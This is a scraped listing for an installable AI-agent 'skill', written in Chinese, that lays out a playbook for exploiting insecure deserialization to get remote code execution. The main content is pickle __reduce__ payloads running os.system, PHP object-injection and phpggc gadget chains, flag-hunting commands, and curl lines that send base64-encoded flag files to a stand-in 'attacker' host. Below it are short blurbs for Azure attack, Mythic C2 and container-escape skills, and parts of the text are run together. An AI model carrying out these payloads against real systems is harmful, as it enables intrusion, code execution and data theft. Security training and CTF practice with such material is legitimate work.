skills/exploit/web-method/deserialization-methodology/SKILL.md
不安全反序列化漏洞利用。当发现 Base64 编码的 Cookie/参数、Python pickle 数据、PHP serialized 字符串(O:4:...)、Java serialized 数据(rO0AB...)时使用。可直接获取 RCE
npx skillsauth add wgpsec/AboutSecurity deserialization-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
常见位置:Cookie 值、POST Body、Hidden 表单字段(viewstate)、API 参数、文件上传
格式标识(Magic Bytes):
| 格式 | 识别特征 | 下一步 |
|------|----------|--------|
| Python Pickle | Base64 解码后 \x80 开头或含 cos\n(魔术字节) | → Phase 2 |
| PHP | O:4:"User":2:{ 或 a:N:{ 格式 | → Phase 3 |
| Java | Base64 解码后 \xac\xed\x00\x05(Magic Bytes)或 Base64 rO0AB 开头 | Java 反序列化利用 |
Content-Type 头:application/x-python-pickle、application/x-java-serialized-objectpickle、unserialize、ObjectInputStream 等关键字.pkl、.ser 等序列化文件格式,观察服务端行为⚠️ 关键约束:__reduce__ 只能返回 (模块级函数, 参数元组) — self.method 会失败
__reduce__ 方法调用 os.system 或 subprocess.check_outputsubprocess.check_output(['cat', '/flag.txt']) — 直接在响应中看到结果os.system('cp /flag.txt /app/static/f.txt') — 写文件到 Web 可访问路径os.system('curl http://attacker/?d=$(cat /flag|base64)') — HTTP 外传数据base64.b64encode(pickle.dumps(payload)) 后替换原始数据发送protocol=2常见触发点:Flask session、Redis session、Content-Type: application/x-python-pickle、.pkl 文件上传
决策树:回显 payload → 无回显则写文件到 Web 路径 → 仍失败则读盲利用参考
→ 完整模板 → 读 references/pickle-payload-templates.md
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}b:1(boolean true)松散比较 == 可绕过任意密码验证s:N: 要匹配)__destruct 中调用 file_put_contents),通过链式属性控制实现任意文件写入或命令执行phpggc <framework>/<gadget> <type> <arg> 自动生成常见框架的利用链references/php-deserialization.mdcat /flag.txt、cat /FLAG.txtls / → find / -name "*flag*" 2>/dev/nullenv | grep -i flagcp /flag* /app/static/flag.txt 然后 HTTP 访问curl http://attacker/$(cat /flag|base64)cat /app/config* 获取连接信息后查询 flag 表testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能